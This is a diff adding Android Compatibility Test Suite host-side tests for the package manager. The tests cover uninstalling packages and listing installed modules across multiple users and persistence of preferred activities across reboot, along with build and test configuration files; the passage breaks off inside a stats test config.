diff --git a/hostsidetests/packagemanager/multiuser/app/src/com/android/tests/packagemanager/multiuser/app/PackageManagerMultiUserTest.java b/hostsidetests/packagemanager/multiuser/app/src/com/android/tests/packagemanager/multiuser/app/PackageManagerMultiUserTest.java
new file mode 100644
index 0000000..472288e
--- /dev/null
+++ b/hostsidetests/packagemanager/multiuser/app/src/com/android/tests/packagemanager/multiuser/app/PackageManagerMultiUserTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.packagemanager.multiuser.app;
+
+import android.Manifest;
+import android.content.Context;
+import android.content.pm.ModuleInfo;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.stream.Collectors;
+
+@RunWith(AndroidJUnit4.class)
+public class PackageManagerMultiUserTest {
+    private static final String ARG_PACKAGE_NAME = "pkgName";
+
+    @After
+    public void tearDown() throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testUninstallExistingPackage() throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.DELETE_PACKAGES);
+        String pkgName = InstrumentationRegistry.getArguments().getString(ARG_PACKAGE_NAME);
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        PackageManager packageManager = context.getPackageManager();
+        PackageInstaller packageInstaller = packageManager.getPackageInstaller();
+
+        packageInstaller.uninstallExistingPackage(pkgName, null);
+    }
+
+    /**
+     * Returns a list of installed modules to the host-side.
+     */
+    @Test
+    public void testGetInstalledModules() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        PackageManager packageManager = context.getPackageManager();
+        List<ModuleInfo> modules = packageManager.getInstalledModules(0);
+        List<String> names =
+                modules.stream().map(info -> info.getPackageName()).collect(Collectors.toList());
+        final Bundle results = new Bundle();
+        results.putStringArrayList("installedModules", new ArrayList<>(names));
+        InstrumentationRegistry.getInstrumentation().addResults(results);
+    }
+}
diff --git a/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/PackageManagerMultiUserTest.java b/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/PackageManagerMultiUserTest.java
new file mode 100644
index 0000000..394c29b
--- /dev/null
+++ b/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/PackageManagerMultiUserTest.java
@@ -0,0 +1,49 @@
+package com.android.tests.packagemanager.multiuser.host;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Map;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class PackageManagerMultiUserTest extends PackageManagerMultiUserTestBase {
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+    }
+
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+    private String getInstalledModules(int userId) throws Exception {
+        runDeviceTestAsUser("testGetInstalledModules", userId, null);
+        Map<String, String> results = getLastDeviceRunResults().getRunMetrics();
+        return results.get("installedModules");
+    }
+
+    /**
+     * Tests that all users see the same set of installed modules.
+     */
+    @Test
+    @AppModeFull
+    public void testGetInstalledModules() throws Exception {
+        int newUserId = createUser();
+        getDevice().startUser(newUserId);
+        String list2 = getInstalledModules(newUserId);
+        String list1 = getInstalledModules(mUserId);
+        assertThat(list2).isEqualTo(list1);
+    }
+}
diff --git a/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/PackageManagerMultiUserTestBase.java b/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/PackageManagerMultiUserTestBase.java
new file mode 100644
index 0000000..af82685
--- /dev/null
+++ b/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/PackageManagerMultiUserTestBase.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.packagemanager.multiuser.host;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+
+import javax.annotation.Nullable;
+
+public class PackageManagerMultiUserTestBase extends BaseHostJUnit4Test {
+    private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+    private static final String TEST_PACKAGE = "com.android.tests.packagemanager.multiuser.app";
+    private static final String TEST_CLASS = ".PackageManagerMultiUserTest";
+    private static final long DEFAULT_TIMEOUT = 10 * 60 * 1000L;
+
+    private List<Integer> mCreatedUsers;
+    protected int mUserId;
+
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue("Device does not support multiple users",
+                getDevice().getMaxNumberOfUsersSupported() > 1);
+        mUserId = getDevice().getPrimaryUserId();
+        mCreatedUsers = new ArrayList<>();
+    }
+
+    /** Remove created users after tests. */
+    @After
+    public void tearDown() throws Exception {
+        for (int userId : mCreatedUsers) {
+            removeUser(userId);
+        }
+    }
+
+    protected void runDeviceTestAsUser(
+            String pkgName, @Nullable String testClassName,
+            @Nullable String testMethodName, int userId,
+            Map<String, String> params) throws DeviceNotAvailableException {
+        if (testClassName != null && testClassName.startsWith(".")) {
+            testClassName = pkgName + testClassName;
+        }
+
+        runDeviceTests(
+                getDevice(),
+                RUNNER,
+                pkgName,
+                testClassName,
+                testMethodName,
+                userId,
+                DEFAULT_TIMEOUT,
+                DEFAULT_TIMEOUT,
+                0L /* maxInstrumentationTimeoutMs */,
+                true /* checkResults */,
+                false /* isHiddenApiCheckDisabled */,
+                params == null ? Collections.emptyMap() : params);
+    }
+
+    protected void runDeviceTestAsUser(String testMethodName, int userId,
+            Map<String, String> params)
+            throws DeviceNotAvailableException {
+        runDeviceTestAsUser(TEST_PACKAGE, TEST_CLASS, testMethodName, userId, params);
+    }
+
+    protected int createUser() throws Exception {
+        String command = "pm create-user TestUser_" + System.currentTimeMillis();
+        LogUtil.CLog.d("Starting command " + command);
+        String commandOutput = getDevice().executeShellCommand(command);
+        LogUtil.CLog.d("Output for command " + command + ": " + commandOutput);
+
+        // Extract the id of the new user.
+        String[] tokens = commandOutput.split("\\s+");
+        assertTrue(tokens.length > 0);
+        assertEquals("Success:", tokens[0]);
+        int userId = Integer.parseInt(tokens[tokens.length - 1]);
+        mCreatedUsers.add(userId);
+
+        setupUser(userId);
+        return userId;
+    }
+
+    protected void setupUser(int userId) throws Exception {
+        installExistingPackageForUser(TEST_PACKAGE, userId);
+    }
+
+    protected void removeUser(int userId) throws Exception {
+        String command = "pm remove-user " + userId;
+        LogUtil.CLog.d("Starting command " + command);
+        String commandOutput = getDevice().executeShellCommand(command);
+        LogUtil.CLog.d("Output for command " + command + ": " + commandOutput);
+    }
+
+    protected void installExistingPackageForUser(String pkgName, int userId) throws Exception {
+        String command = "pm install-existing --user " + userId + " " + pkgName;
+        LogUtil.CLog.d("Starting command " + command);
+        String commandOutput = getDevice().executeShellCommand(command);
+        LogUtil.CLog.d("Output for command " + command + ": " + commandOutput);
+    }
+
+    protected boolean isPackageInstalledForUser(String pkgName, int userId) throws Exception {
+        return getDevice().isPackageInstalled(pkgName, String.valueOf(userId));
+    }
+}
diff --git a/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/UninstallExistingPackageTest.java b/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/UninstallExistingPackageTest.java
new file mode 100644
index 0000000..997b3ed
--- /dev/null
+++ b/hostsidetests/packagemanager/multiuser/src/com/android/tests/packagemanager/multiuser/host/UninstallExistingPackageTest.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.packagemanager.multiuser.host;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collections;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class UninstallExistingPackageTest extends PackageManagerMultiUserTestBase {
+    private static final String EMPTY_TEST_APP_APK = "CtsEmptyTestApp.apk";
+    private static final String EMPTY_TEST_APP_PKG = "android.packageinstaller.emptytestapp.cts";
+    private static final String ARG_PACKAGE_NAME = "pkgName";
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        installPackage(EMPTY_TEST_APP_APK);
+        assertTrue(isPackageInstalled(EMPTY_TEST_APP_PKG));
+    }
+
+    /** Uninstall app after tests. */
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        uninstallPackage(getDevice(), EMPTY_TEST_APP_PKG);
+    }
+
+    @Test
+    @AppModeFull
+    public void testUninstallExistingPackage_succeedsIfInstalledInAnotherUser() throws Exception {
+        // create a  user
+        int newUserId = createUser();
+
+        // install empty test app for both users
+        installExistingPackageForUser(EMPTY_TEST_APP_PKG, newUserId);
+        assertTrue("Package is not installed for user " + mUserId,
+                isPackageInstalledForUser(EMPTY_TEST_APP_PKG, mUserId));
+        assertTrue("Package is not installed for user " + newUserId,
+                isPackageInstalledForUser(EMPTY_TEST_APP_PKG, newUserId));
+
+        // run uninstallExistingPackage from mUserId, expect package is uninstalled
+        runDeviceTestAsUser("testUninstallExistingPackage", mUserId,
+                Collections.singletonMap(ARG_PACKAGE_NAME, EMPTY_TEST_APP_PKG));
+        assertFalse(isPackageInstalledForUser(EMPTY_TEST_APP_PKG, mUserId));
+        assertTrue(isPackageInstalledForUser(EMPTY_TEST_APP_PKG, newUserId));
+    }
+
+    @Test
+    @AppModeFull
+    public void testUninstallExistingPackage_failsIfInstalledInOnlyOneUser() throws Exception {
+        // create a  user
+        int newUserId = createUser();
+
+        // assert package is only installed for mUserId
+        assertTrue(isPackageInstalledForUser(EMPTY_TEST_APP_PKG, mUserId));
+        assertFalse(isPackageInstalledForUser(EMPTY_TEST_APP_PKG, newUserId));
+
+        // run uninstallExistingPackage from mUserId, expect package is not uninstalled
+        runDeviceTestAsUser("testUninstallExistingPackage", mUserId,
+                Collections.singletonMap(ARG_PACKAGE_NAME, EMPTY_TEST_APP_PKG));
+        assertTrue(isPackageInstalledForUser(EMPTY_TEST_APP_PKG, mUserId));
+    }
+}
diff --git a/hostsidetests/packagemanager/preferredactivity/Android.bp b/hostsidetests/packagemanager/preferredactivity/Android.bp
new file mode 100644
index 0000000..2e7ecdf
--- /dev/null
+++ b/hostsidetests/packagemanager/preferredactivity/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsPackageManagerPreferredActivityHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+        "cts-host-utils",
+    ],
+    java_resource_dirs: ["res"],
+}
diff --git a/hostsidetests/packagemanager/preferredactivity/AndroidTest.xml b/hostsidetests/packagemanager/preferredactivity/AndroidTest.xml
new file mode 100644
index 0000000..6494b9f
--- /dev/null
+++ b/hostsidetests/packagemanager/preferredactivity/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for CTS package manager preferred activity host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsPackageManagerPreferredActivityHostTestCases.jar" />
+    </test>
+</configuration>
+
diff --git a/hostsidetests/packagemanager/preferredactivity/apps/testapp/Android.bp b/hostsidetests/packagemanager/preferredactivity/apps/testapp/Android.bp
new file mode 100644
index 0000000..7a84451
--- /dev/null
+++ b/hostsidetests/packagemanager/preferredactivity/apps/testapp/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsPackageManagerPreferredActivityApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    srcs: ["src/**/*.java"],
+    manifest: "AndroidManifest.xml",
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    static_libs: ["androidx.test.rules"],
+}
diff --git a/hostsidetests/packagemanager/preferredactivity/apps/testapp/AndroidManifest.xml b/hostsidetests/packagemanager/preferredactivity/apps/testapp/AndroidManifest.xml
new file mode 100644
index 0000000..d6014e3
--- /dev/null
+++ b/hostsidetests/packagemanager/preferredactivity/apps/testapp/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.packagemanager.preferredactivity.app">
+    <application>
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="com.android.cts.packagemanager.preferredactivity.app.MainActivity"
+                  android:launchMode="singleTop"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.PMTEST"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.packagemanager.preferredactivity.app"/>
+</manifest>
diff --git a/hostsidetests/packagemanager/preferredactivity/apps/testapp/src/com/android/cts/packagemanager/preferredactivity/app/MainActivity.java b/hostsidetests/packagemanager/preferredactivity/apps/testapp/src/com/android/cts/packagemanager/preferredactivity/app/MainActivity.java
new file mode 100644
index 0000000..fd7e290
--- /dev/null
+++ b/hostsidetests/packagemanager/preferredactivity/apps/testapp/src/com/android/cts/packagemanager/preferredactivity/app/MainActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.preferredactivity.app;
+
+import android.app.Activity;
+
+public class MainActivity extends Activity {
+}
diff --git a/hostsidetests/packagemanager/preferredactivity/apps/testapp/src/com/android/cts/packagemanager/preferredactivity/app/PreferredActivityDeviceTests.java b/hostsidetests/packagemanager/preferredactivity/apps/testapp/src/com/android/cts/packagemanager/preferredactivity/app/PreferredActivityDeviceTests.java
new file mode 100644
index 0000000..f95530a
--- /dev/null
+++ b/hostsidetests/packagemanager/preferredactivity/apps/testapp/src/com/android/cts/packagemanager/preferredactivity/app/PreferredActivityDeviceTests.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.preferredactivity.app;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class PreferredActivityDeviceTests {
+    private static final String ACTIVITY_ACTION_NAME = "android.intent.action.PMTEST";
+    private static final String PACKAGE_NAME =
+            "com.android.cts.packagemanager.preferredactivity.app";
+    private static final String ACTIVITY_NAME = PACKAGE_NAME + ".MainActivity";
+    private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
+    private final PackageManager mPackageManager = mContext.getPackageManager();
+
+    @Test
+    public void testAddOnePreferredActivity() {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.SET_PREFERRED_APPLICATIONS);
+        final IntentFilter intentFilter = new IntentFilter(ACTIVITY_ACTION_NAME);
+        final ComponentName[] componentName = {new ComponentName(PACKAGE_NAME, ACTIVITY_NAME)};
+        try {
+            mPackageManager.addPreferredActivity(intentFilter, IntentFilter.MATCH_CATEGORY_HOST,
+                    componentName, componentName[0]);
+        } catch (SecurityException e) {
+            fail("addPreferredActivity failed: " + e.getMessage());
+        }
+    }
+
+    @Test
+    public void testHasPreferredActivities() {
+        final int expectedNumPreferredActivities = Integer.parseInt(
+                InstrumentationRegistry.getArguments().getString("numPreferredActivities"));
+        final List<ComponentName> outActivities = new ArrayList<>();
+        final List<IntentFilter> outFilters = new ArrayList<>();
+        mPackageManager.getPreferredActivities(outFilters, outActivities, PACKAGE_NAME);
+        assertEquals(expectedNumPreferredActivities, outActivities.size());
+        assertEquals(expectedNumPreferredActivities, outFilters.size());
+    }
+}
diff --git a/hostsidetests/packagemanager/preferredactivity/src/com/android/cts/packagemanager/preferredactivity/host/PreferredActivityTests.java b/hostsidetests/packagemanager/preferredactivity/src/com/android/cts/packagemanager/preferredactivity/host/PreferredActivityTests.java
new file mode 100644
index 0000000..08766dc
--- /dev/null
+++ b/hostsidetests/packagemanager/preferredactivity/src/com/android/cts/packagemanager/preferredactivity/host/PreferredActivityTests.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.preferredactivity.host;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.RunUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileNotFoundException;
+import java.util.Collections;
+import java.util.Map;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class PreferredActivityTests extends BaseHostJUnit4Test implements IBuildReceiver {
+    private static final String TEST_PACKAGE_NAME =
+            "com.android.cts.packagemanager.preferredactivity.app";
+    private static final String TEST_CLASS_NAME =
+            TEST_PACKAGE_NAME + ".PreferredActivityDeviceTests";
+    private static final String TEST_APK_NAME = "CtsPackageManagerPreferredActivityApp.apk";
+    private CompatibilityBuildHelper mBuildHelper;
+    private static final int PREFERRED_ACTIVITY_WRITE_SLEEP_MS = 10000;
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mBuildHelper = new CompatibilityBuildHelper(buildInfo);
+    }
+
+    @Before
+    public void setUp() throws DeviceNotAvailableException, FileNotFoundException {
+        getDevice().installPackage(mBuildHelper.getTestFile(TEST_APK_NAME), false, false, "");
+        assertTrue(getDevice().isPackageInstalled(TEST_PACKAGE_NAME));
+    }
+
+    @After
+    public void tearDown() throws DeviceNotAvailableException {
+        // Uninstall to clean up the preferred activity added from the test
+        getDevice().uninstallPackage(TEST_PACKAGE_NAME);
+        assertFalse(getDevice().isPackageInstalled(TEST_PACKAGE_NAME));
+    }
+
+    @LargeTest
+    @Test
+    @AppModeFull
+    public void testAddPreferredActivity() throws Exception {
+        assertTrue(runDeviceTestsWithArgs(
+                TEST_PACKAGE_NAME, TEST_CLASS_NAME, "testHasPreferredActivities",
+                Collections.singletonMap("numPreferredActivities", "0")));
+        assertTrue(runDeviceTests(
+                TEST_PACKAGE_NAME, TEST_CLASS_NAME, "testAddOnePreferredActivity"));
+        assertTrue(runDeviceTestsWithArgs(
+                TEST_PACKAGE_NAME, TEST_CLASS_NAME, "testHasPreferredActivities",
+                Collections.singletonMap("numPreferredActivities", "1")));
+        // Wait a bit before reboot, allowing the preferred activity info to be written to disk.
+        RunUtil.getDefault().sleep(PREFERRED_ACTIVITY_WRITE_SLEEP_MS);
+        getDevice().reboot();
+        assertTrue(runDeviceTestsWithArgs(
+                TEST_PACKAGE_NAME, TEST_CLASS_NAME, "testHasPreferredActivities",
+                Collections.singletonMap("numPreferredActivities", "1")));
+    }
+
+    @LargeTest
+    @Test
+    @AppModeFull
+    public void testAddDuplicatedPreferredActivity() throws Exception {
+        assertTrue(runDeviceTestsWithArgs(
+                TEST_PACKAGE_NAME, TEST_CLASS_NAME, "testHasPreferredActivities",
+                Collections.singletonMap("numPreferredActivities", "0")));
+        assertTrue(runDeviceTests(
+                TEST_PACKAGE_NAME, TEST_CLASS_NAME, "testAddOnePreferredActivity"));
+        // Add again
+        assertTrue(runDeviceTests(
+                TEST_PACKAGE_NAME, TEST_CLASS_NAME, "testAddOnePreferredActivity"));
+        assertTrue(runDeviceTestsWithArgs(
+                TEST_PACKAGE_NAME, TEST_CLASS_NAME, "testHasPreferredActivities",
+                Collections.singletonMap("numPreferredActivities", "2")));
+        // Wait a bit before reboot, allowing the preferred activity info to be written to disk.
+        RunUtil.getDefault().sleep(PREFERRED_ACTIVITY_WRITE_SLEEP_MS);
+        getDevice().reboot();
+        // Test that duplicated entries are removed after reboot
+        assertTrue(runDeviceTestsWithArgs(
+                TEST_PACKAGE_NAME, TEST_CLASS_NAME, "testHasPreferredActivities",
+                Collections.singletonMap("numPreferredActivities", "1")));
+    }
+
+    private boolean runDeviceTestsWithArgs(String pkgName, String testClassName,
+            String testMethodName, Map<String, String> testArgs) throws Exception {
+        final String testRunner = "androidx.test.runner.AndroidJUnitRunner";
+        final long defaultTestTimeoutMs = 60 * 1000L;
+        final long defaultMaxTimeoutToOutputMs = 60 * 1000L; // 1min
+        return runDeviceTests(getDevice(), testRunner, pkgName, testClassName, testMethodName,
+                null, defaultTestTimeoutMs, defaultMaxTimeoutToOutputMs,
+                0L, true, false, testArgs);
+    }
+}
diff --git a/hostsidetests/packagemanager/stats/Android.bp b/hostsidetests/packagemanager/stats/Android.bp
new file mode 100644
index 0000000..e2df9de
--- /dev/null
+++ b/hostsidetests/packagemanager/stats/Android.bp
@@ -0,0 +1,42 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsPackageManagerStatsHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+        "cts-host-utils",
+    ],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
+    data: [
+        ":CtsStatsdAtomEmptyApp",
+        ":CtsStatsdAtomEmptySplitApp",
+    ],
+    java_resource_dirs: ["res"],
+}
diff --git a/hostsidetests/packagemanager/stats/AndroidTest.xml b/hostsidetests/packagemanager/stats/AndroidTest.xml
new file mode 100644
index 0000000..b5d4eb7
--- /dev/null
+++ b/hostsidetests/packagemanager/stats/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for CTS package manager metrics host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
